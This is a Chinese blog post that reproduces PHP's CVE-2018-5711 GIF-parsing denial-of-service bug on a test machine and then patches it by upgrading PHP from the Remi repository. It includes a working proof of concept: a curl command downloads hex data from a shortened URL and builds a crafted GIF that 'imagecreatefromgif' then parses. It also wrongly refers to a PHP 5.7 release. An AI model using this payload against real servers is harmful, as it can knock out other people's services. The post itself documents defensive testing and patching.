Fork me on GitHub
KeKe Blog

PHP版本升级

  最近看到了关于PHP的CVE-2018-5711的漏洞。它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。
  由于目前线上使用LAMP/LNMP的服务器较多,拿了一台虚拟机做了测试,并通过升级PHP版本修复了相关的漏洞。

  关于PHP的CVE-2018-5711漏洞,详细情况情况相关链接

1 漏洞测试

1.1 检测是否安装php-gd库

1
2
3
4
5
6
# 查看是否安装了gd
[root@KE_02 ~]# php -m | grep -i gd
gd
# 如未安装,则使用yum安装php-gd
[root@KE_02 ~]# yum install php-gd -y

1.2 生成恶意gif文件

1
2
3
4
5
[root@KE_02 ~]# curl -L https://git.io/vN0n4 | xxd -r > poc.gif
[root@KE_02 ~]# ll *gif
-rw-r--r-- 1 root root 1731 1月 31 15:18 poc.gif
# 使用top查看CPU的使用率,未执行代码前CPU使用率是很低的

1.3 测试恶意代码

1
2
# 执行恶意代码
php -r 'imagecreatefromgif("poc.gif");'

测试开始后的CPU使用率

1.4 该漏洞影响版本

1
2
3
4
PHP 5 < 5.6.33
PHP 7.0 < 7.0.27
PHP 7.1 < 7.1.13
PHP 7.2 < 7.2.1

2 漏洞修复

  该漏洞的修复方式就是将已有的PHP进行升级。

2.1 卸载已有PHP

1
2
3
yum remove php* -y
注意:对于线上环境运行上面的命令时候,确保机器没有对外提供业务,否则执行后会导致业务异常。

2.2 安装Remi的YUM源

  Remi repository是包含最新版本 PHP 和 MySQL 包的 Linux 源,由 Remi 提供维护。有个这个源之后,使用 YUM 安装或更新 PHP、MySQL、phpMyAdmin 等服务器相关程序的时候就非常方便了。

1
2
3
4
5
6
7
CentOS 6 Yum源:
# rpm -Uvh http://ftp.iij.ad.jp/pub/linux/fedora/epel/6/x86_64/epel-release-6-8.noarch.rpm
# rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm
CentOS 7 Yum源:
# yum install epel-release
# rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm

2.3 查看可安装的软件包

1
2
3
# yum list --enablerepo=remi --enablerepo=remi-php56 | grep php
注意:上面命令中--enablerepo=指定了你要安装查看的PHP版本,目前remi可以安装的PHP范围为5.4-7.2,所以假设你要查看或者安装5.7版本的PHP,可以将上面的--enablerepo=remi-php56换成--enablerepo=remi-php57即可

2.4 安装PHP5.6

1
2
3
# yum install --enablerepo=remi --enablerepo=remi-php56 php php-opcache php-devel php-mbstring php-mcrypt php-mysqlnd
注意:如上面的步骤3所说,如果你要安装PHP 5.5 、5.7等以后版本,请将上面命令中的--enablerepo=remi-php56换成相应的版本。

2.5 查看安装后的版本

1
2
3
4
5
[root@KE_02 ~]# php -version
PHP 5.6.33 (cli) (built: Jan 3 2018 13:11:40)
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies

2.6 升级后再测试

  再次执行恶意代码后就会显示报错。

升级到PHP5.6.33版本后再测试

3 参考资料

一张动图宕掉一台服务器!运维这个腊月又要忙了

-------------本文结束 感谢您的阅读-------------